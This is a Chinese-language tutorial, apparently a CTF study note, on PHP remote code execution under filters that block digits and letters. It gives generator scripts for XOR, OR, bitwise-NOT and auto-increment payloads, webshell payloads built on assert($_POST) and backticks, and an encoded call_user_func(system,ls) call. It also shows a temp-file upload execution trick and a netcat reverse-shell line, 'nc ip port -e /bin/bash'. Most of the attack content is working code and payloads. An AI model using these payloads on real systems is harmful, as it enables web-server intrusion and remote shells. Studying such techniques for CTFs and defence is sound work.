无数字字母RCE 异或 ^ 异或运算:相同为0 不同为1
两个字符的ascii码所对应的二进制进行一个异或运算
然后思想就是将两个字符串进行一个异或运算 结果就是我们想要得到的一个值
下面是一个php的异或运算的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php header ("content-type:text/html;charset=utf-8" );highlight_file (__FILE__ );error_reporting (0 );$shell = $_GET ["cmd" ];$result1 = "" ;$result2 = "" ;function judge ($c ) { if (!preg_match ('/[a-z0-9]/is' ,$c )) { return true ; } return false ; }for ($num =0 ;$num <=strlen ($shell );$num ++) { for ($x =33 ;$x <=126 ;$x ++) { if (judge (chr ($x ))) { for ($y =33 ;$y <=126 ;$y ++) { if (judge (chr ($y ))) { $f = chr ($x )^chr ($y ); if ($f == $shell [$num ]) { $result1 .= chr ($x ); $result2 .= chr ($y ); break 2 ; } } } } } }echo "异或运算第一部分: " .$result1 ;echo "<br>" ;echo "异或运算第二部分: " .$result2 ; 异或运算第一部分: 异或运算第二部分:
还有一个python的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " answer = str (input ("请输入进行异或构造的字符串:" )) tmp1, tmp2 = '' , '' for c in answer: for i in valid: for j in valid: if (ord (i) ^ ord (j) == ord (c)): tmp1 += i tmp2 += j break else : continue break print ("tmp1为:" ,tmp1)print ("tmp2为:" ,tmp2)
输入我们想要执行的就可以了
我们来看一下:
“运算第一部分”^”运算第二部分” 这里要进行一个url编码 因为加号会被当作空格 所以要进行一个url编码
php5 下可以用assert($_POST['_']);
进行一个命令执行
1 2 3 4 5 6 7 <?php assert ($_POST ['_' ]); $a =assert;$b =_POST;$c =$$b ;$a ($c ['_' ]); ?>
记得url编码
PHP7下面构造一个反引号
1 `$ _POST[_]` $ _="!+/((" ^"~{`{|" ;$ __=$ $ _;`$ __[_]`;
然后这个利用到了反弹shell _=nc ip 监听端口号 -e /bin/bash
或 | 有1则为1 下面是脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import re import urllibfrom urllib import parse hex_i = "" hex_j = "" pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' str1=["system" ,"cat flag.php" ] for p in range (2 ): t1 = "" t2 = "" for k in str1[p]: for i in range (256 ): for j in range (256 ): if re.search (pattern,chr (i)) : break if re.search (pattern,chr (j)) : continue if i < 16 : hex_i = "0" + hex (i)[2 :] else : hex_i=hex (i)[2 :] if j < 16 : hex_j="0" +hex (j)[2 :] else : hex_j=hex (j)[2 :] hex_i='%' +hex_i hex_j='%' +hex_j c=chr (ord (urllib.parse.unquote (hex_i))|ord (urllib.parse.unquote (hex_j))) if (c ==k): t1=t1+hex_i t2=t2+hex_j break else : continue break print ("(\"" +t1+"\"|\"" +t2+"\")" )
取反 ~() 会对括号里面的东西进行一个取反 如果原本是0b1001 经过取反后是 0b0110
有中文的也有url编码的
下面用url的来讲一下:
1 $_=assert $__=_POST 不用在再url了 这个是在php5下
脚本:
1 2 3 4 <?php $b ="_POST" ;$a =urlencode (~$b );echo $a ;
php7下是反引号 进行反弹shell
自增 先来一个简单的代码来理解一下什么是自增
1 2 3 4 5 <?php $a ='A' ; ++$a ;echo $a ;
这个++之前c语言的时候就学习过了 我们如果获取到了首字母A的话那么任意一个字母我们都可以通过自增的方法来获取
但是在无数字字母中我们不能有字母 那么该如何获取A呢? 这里要用到了数组
但是我们获得的是整个数组 它并不是一个字符串 所以单一个字母A我们是拿不到的 这里在数组后面加一个’’ 这样就会被当作字符串了
1 2 3 4 <?php $a =[].'' ;echo $a [0 ];
还有一个问题 既然是无数字字母的话 这个0就不应该有了 我们找一个不存在的变量 为假 也就是0 这样就可以代替了 然后变量名用_ 来代替
1 2 3 4 <?php $_ =[].'' ;echo $_ [$__ ];
在php5中我们可以用assert($_POST[_])
来进行一个命令执行
然后这个assert和_POST 都可以利用自增进行构造出来
下面讲一下构造的思路
上面的既然可以运算出A 我们也可以运算出S 前置是先把A这个值赋给几个变量 方便后续的构造
1 2 3 $___ =$_ [$__ ]; 这个三个下划线的被赋值成了A$__ =$___ ; $_ =$___ ; // 然后两个下划线的和一个下划线的都被赋值成了A 这里是为什么 下面拼接的时候就能看出作用了
OK 下面就来构造S吧
1 2 3 4 5 6 7 8 <?php $_ =[].'' ;$___ =$_ [$__ ];$__ =$___ ;$_ =$___ ; ++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;echo $_ ; 这个$_ 就是S 上面那些就是一个增加的 从A到S
然后先构造ASS
1 2 3 4 5 6 7 8 <?php $_ =[].'' ;$___ =$_ [$__ ];$__ =$___ ;$_ =$___ ; ++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;$__ .=$_ .$_ ;echo $__ ;
如果我们要构造E的话首先要把$_ 重新定义成A 上面得$___ 它得值还没有变 根据这个 把$_
重新定义成A
1 2 3 4 5 6 7 8 9 10 11 12 <?php $_ =[].'' ;$___ =$_ [$__ ];$__ =$___ ;$_ =$___ ; ++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;++$_ ;$__ .=$_ .$_ ;$_ =$___ ; ++$_ ;++$_ ;++$_ ;++$_ ;$__ .=$_ ;echo $__ ;
下面的都是那样 就不再多说了
然后下面有一个自增构造的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php highlight_file (__FILE__ );$cmd = strtoupper ($_GET ['cmd' ]);$cmd2 = strtoupper ($_GET ['post' ]);function POC ($cmd ) { $i = 0 ; $POC_pat1 = "\$__=\$___;" ; $POC_pat2 = "\$_ .=\$__;" ; while ($i <strlen ($cmd )){ $str1 = $cmd [$i ]; $POC1 = base_convert (bin2hex ($str1 ),16 ,10 )-base_convert (bin2hex ("A" ),16 ,10 ); if ($i <1 ) { $POC_pat3 = str_repeat ("++\$__;" ,$POC1 ); echo $POC_pat3 ; }else { $str2 = $cmd [$i -1 ]; if ($str1 ==$str2 ){ $POC_pat5 = $POC_pat2 ; echo $POC_pat5 ; }else { $POC_pat6 = $POC_pat1 .str_repeat ("++\$__;" ,$POC1 ).$POC_pat2 ; echo $POC_pat6 ; } } $i ++; } }function POC2 ($cmd ) { $i = 0 ; echo '$____ = "_";$__=$___;' ; $POC_pat1 = "\$__=\$___;" ; $POC_pat2 = "\$____ .=\$__;" ; while ($i <strlen ($cmd )){ $str1 = $cmd [$i ]; $POC1 = base_convert (bin2hex ($str1 ),16 ,10 )-base_convert (bin2hex ("A" ),16 ,10 ); if ($i <1 ) { $POC_pat3 = str_repeat ("++\$__;" ,$POC1 ).$POC_pat2 ; echo $POC_pat3 ; }else { $str2 = $cmd [$i -1 ]; if ($str1 ==$str2 ){ $POC_pat5 = $POC_pat2 ; echo $POC_pat5 ; }else { $POC_pat6 = $POC_pat1 .str_repeat ("++\$__;" ,$POC1 ).$POC_pat2 ; echo $POC_pat6 ; } } $i ++; } }if (!empty ($cmd )){ $POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;" ; echo $POC_pat7 ; POC ($cmd ); }if (!empty ($cmd2 )){ POC2 ($cmd2 ); }
如果要构造assert($_POST[_])
的话 就让cmd=assert post=POST
有四个下划线的是post的 一个下划线的是cmd的
特殊符号过滤 1.对下划线进行一个过滤 这个可以利用短标签进行一个绕过
1 2 3 ?> <?= `$_GET[_]` ?> 可以将_GET 进行一个取反 然后 将_也进行一个取反 转换成=> ?> <?= {${ ~"取反后的字符" }[%a0]}?> 然后就可以进行一个命令执行 同时改成POST 也是可以的 只不过将后面的参数换成一个 - 号就行了
当然异或也是可以的
2.下划线和$被过滤了 php7下:
利用函数call_user_func() 进行一个绕过 只在php7后有效($a)();
call_user_func(‘调用的函数’,’传入的值’)
对它进行一个取反绕过
call_user_func => %9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C
system => %8C%86%8C%8B%9A%92
ls => %93%8C
(%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C)(%8C%86%8C%8B%9A%92,~%93%8C); =>(call_user_func)(system,ls);
在php5下:
利用了一个上传临时文件
参考大佬博客:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
. file(文件名) 是用来执行一个文件的
这个在php5下的绕过思路就是 上传一个文件 php会将我们上传的文件默认保存在/tmp/phpxxxxxx目录下 (xxxxxx 是六个随机的大小写字母)
然后我们通过通配符? 利用.file 去读取我们上传的文件 这个上传的文件是可控的 所以就可以进行命令执行 大体思路就是这个
? 代表任意一个字符
1 `` 可以用来进行命令执行 `./???/?????????`
但是这个有不可预知性 可以查的范围太广了 我们注意到后面的xxxxxx是六位随机的大小写字母 在linux中 glob支持利用 [0-9]来表示一个范围
在ascii码表中 @-[ 表示所有大写字母的范围 所以可以利用 [@-[] 我们可以让最后一位是大写的然后这样范围就进一步的缩小了
从User-Agent到最后的话可以复制粘贴
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64; rv:79.0 ) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/webp,*
3.过滤了~^|;`& 这个时候要用到自增 和短标签结合起来的
1 2 3 4 5 6 7 <?php for ($i =32 ;$i <127 ;$i ++){ if (!preg_match ("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/" ,chr ($i ))){ echo chr ($i )." " ; } } ? 可以看看没有过滤哪些